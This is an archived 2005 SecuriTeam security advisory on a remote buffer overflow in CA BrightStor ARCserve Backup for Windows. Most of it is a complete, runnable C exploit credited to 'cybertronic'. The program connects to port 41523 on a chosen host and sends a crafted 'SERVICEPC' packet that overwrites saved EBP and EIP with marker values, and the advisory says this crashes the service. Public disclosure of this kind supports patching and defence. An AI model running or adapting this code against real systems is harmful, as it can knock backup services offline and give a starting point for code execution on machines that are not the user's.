

[EXPL] BrightStor ARCserve Backup Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0049.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/14/05

To: list@securiteam.com

Date: 14 Feb 2005 11:40:09 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.secureteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.secureteam.com/maillinglist.html>

BrightStor ARCserve Backup Buffer Overflow

SUMMARY

<<http://www3.ca.com/Solutions/ProductFamily.asp?ID=115>> BrightStor ARCserve Backup for Windows "delivers backup and restore protection for all Windows server systems as well as Windows, Linux, Mac OS X and UNIX client environments".

Remote exploitation of a buffer overflow vulnerability in Computer Associates International Inc's BrightStor ARCserve Backup allows remote attackers to cause the program to crash.

DETAILS

Exploit:

//cybertronic@gmx.net

```
#include <stdio.h>
```

```
#include <sys/types.h>
```

```
#include <sys/stat.h>
```

```
#include <fcntl.h>
```

```
#include <netinet/in.h>
```

Securiteam: [EXPL] BrightStor ARCserve Backup Buffer Overflow

```
#include <netdb.h>

#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"

#define PORT 41523

void
start ( int s )
{
    char buffer[4096];

    bzero ( &buffer, 4096 );
    memset ( buffer, 0x41, 50 );
    buffer[0] = 0x9b;
    buffer[1] = 0x53; //S
    buffer[2] = 0x45; //E
    buffer[3] = 0x52; //R
    buffer[4] = 0x56; //V
    buffer[5] = 0x49; //I
    buffer[6] = 0x43; //C
    buffer[7] = 0x45; //E
    buffer[8] = 0x50; //P
    buffer[9] = 0x43; //C
    buffer[17] = 0x18;
    buffer[21] = 0xc0;
    buffer[22] = 0xa8;
    buffer[23] = 0x02;
    buffer[24] = 0x67;
    buffer[25] = 0x53; //S
    buffer[26] = 0x45; //E
    buffer[27] = 0x52; //R
    buffer[28] = 0x56; //V
    buffer[29] = 0x49; //I
    buffer[30] = 0x43; //C
    buffer[31] = 0x45; //E
    buffer[32] = 0x50; //P
    buffer[33] = 0x43; //C
    buffer[41] = 0x01;
    buffer[43] = 0x0c;
    buffer[44] = 0x6c;
    buffer[45] = 0x93;
    buffer[46] = 0xce;
    buffer[47] = 0x18;
    buffer[48] = 0x18;
    //ebp
    buffer[49] = 0xbe;
    buffer[50] = 0xba;
```

Securiteam: [EXPL] BrightStor ARCserve Backup Buffer Overflow

```
buffer[51] = 0xad;
buffer[52] = 0xde;
//eip
buffer[53] = 0xde;
buffer[54] = 0xc0;
buffer[55] = 0xad;
buffer[56] = 0xde;

printf ( "[*] Sending buffer [ %d bytes ]...", strlen ( buffer )
);
if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
{
    printf ( RED "Send failed!\n" NORMAL );
    exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
sleep ( 1 );
}

int
main ( int argc, char *argv[] )
{

    int s;
    struct hostent *he;
    struct sockaddr_in addr;

    if ( argc != 2 )
    {
        fprintf ( stderr, "Usage: %s hostname\n", argv[0] );
        exit ( 1 );
    }

    printf ( "Resolving hostname..." );
    if ( ( he = gethostbyname ( argv[1] ) ) == NULL )
    {
        printf ( RED "FAILED!\n" NORMAL );
        exit ( 1 );
    }
    printf ( "OK!\n" );

    if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
    {
        exit ( 1 );
    }

    addr.sin_family = AF_INET;
    addr.sin_port = htons ( PORT );
    addr.sin_addr = *( ( struct in_addr * ) he->h_addr );
```

Securiteam: [EXPL] BrightStor ARCserve Backup Buffer Overflow

```
printf ( "Connecting to %s...", argv[1] );
if ( connect ( s, ( struct sockaddr * ) &addr, sizeof ( struct
sockaddr ) ) == -1 )
{
    printf ( RED "FAILED!\n" NORMAL );
    exit ( 1 );
}
printf ( "OK!\n" );
start ( s );
close ( s );
return ( 0 );
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:cybertronic@gmx.net>>
cybertronic.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.